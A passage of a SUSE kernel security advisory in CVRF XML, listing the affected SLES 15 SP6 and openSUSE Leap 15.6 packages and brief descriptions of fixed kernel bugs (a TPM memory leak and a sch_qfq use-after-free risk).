        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-allwinner-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-altera-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amazon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amlogic-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apple-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-arm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-broadcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-cavium-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-exynos-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-freescale-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-hisilicon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-lg-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-marvell-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-mediatek-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-nvidia-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-qcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-renesas-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-rockchip-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-socionext-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-sprd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-xilinx-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-rebuild-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-html-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-qa-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-vanilla-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
      </Status>
    </ProductStatuses>
    <Threats>
      <Threat Type="Impact">
        <Description>important</Description>
      </Threat>
    </Threats>
    <Remediations>
      <Remediation Type="Vendor Fix">
        <Description xml:lang="en">To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
</Description>
        <URL>https://www.suse.com/support/update/announcement/2026/suse-su-20260471-1/</URL>
      </Remediation>
    </Remediations>
    <References>
      <Reference>
        <URL>https://www.suse.com/security/cve/CVE-2025-71136.html</URL>
        <Description>CVE-2025-71136</Description>
      </Reference>
      <Reference>
        <URL>https://bugzilla.suse.com/1256759</URL>
        <Description>SUSE Bug 1256759</Description>
      </Reference>
    </References>
  </Vulnerability>
  <Vulnerability xmlns="http://www.icasi.org/CVRF/schema/vuln/1.1" Ordinal="35">
    <Notes>
      <Note Title="Vulnerability Description" Type="General" Ordinal="1" xml:lang="en">In the Linux kernel, the following vulnerability has been resolved:

KEYS: trusted: Fix a memory leak in tpm2_load_cmd

'tpm2_load_cmd' allocates a tempoary blob indirectly via 'tpm2_key_decode'
but it is not freed in the failure paths. Address this by wrapping the blob
into with a cleanup helper.</Note>
    </Notes>
    <CVE>CVE-2025-71147</CVE>
    <ProductStatuses>
      <Status Type="Fixed">
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-livepatch-6_4_0-150600_23_87-default-1-150600.13.3.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-allwinner-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-altera-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amazon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amlogic-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apple-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-arm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-broadcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-cavium-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-exynos-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-freescale-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-hisilicon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-lg-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-marvell-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-mediatek-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-nvidia-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-qcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-renesas-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-rockchip-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-socionext-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-sprd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-xilinx-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-rebuild-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-html-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-qa-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-vanilla-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
      </Status>
    </ProductStatuses>
    <Threats>
      <Threat Type="Impact">
        <Description>important</Description>
      </Threat>
    </Threats>
    <Remediations>
      <Remediation Type="Vendor Fix">
        <Description xml:lang="en">To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
</Description>
        <URL>https://www.suse.com/support/update/announcement/2026/suse-su-20260471-1/</URL>
      </Remediation>
    </Remediations>
    <References>
      <Reference>
        <URL>https://www.suse.com/security/cve/CVE-2025-71147.html</URL>
        <Description>CVE-2025-71147</Description>
      </Reference>
      <Reference>
        <URL>https://bugzilla.suse.com/1257158</URL>
        <Description>SUSE Bug 1257158</Description>
      </Reference>
    </References>
  </Vulnerability>
  <Vulnerability xmlns="http://www.icasi.org/CVRF/schema/vuln/1.1" Ordinal="36">
    <Notes>
      <Note Title="Vulnerability Description" Type="General" Ordinal="1" xml:lang="en">In the Linux kernel, the following vulnerability has been resolved:

net/sched: sch_qfq: do not free existing class in qfq_change_class()

Fixes qfq_change_class() error case.

cl-&gt;qdisc and cl should only be freed if a new class and qdisc
were allocated, or we risk various UAF.</Note>
    </Notes>
    <CVE>CVE-2026-22999</CVE>
    <ProductStatuses>
      <Status Type="Fixed">
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-livepatch-6_4_0-150600_23_87-default-1-150600.13.3.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-allwinner-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-altera-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amazon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amlogic-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apple-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-arm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-broadcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-cavium-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-exynos-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-freescale-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-hisilicon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-lg-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-marvell-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-mediatek-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-nvidia-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-qcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-renesas-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-rockchip-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-socionext-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-sprd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-xilinx-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
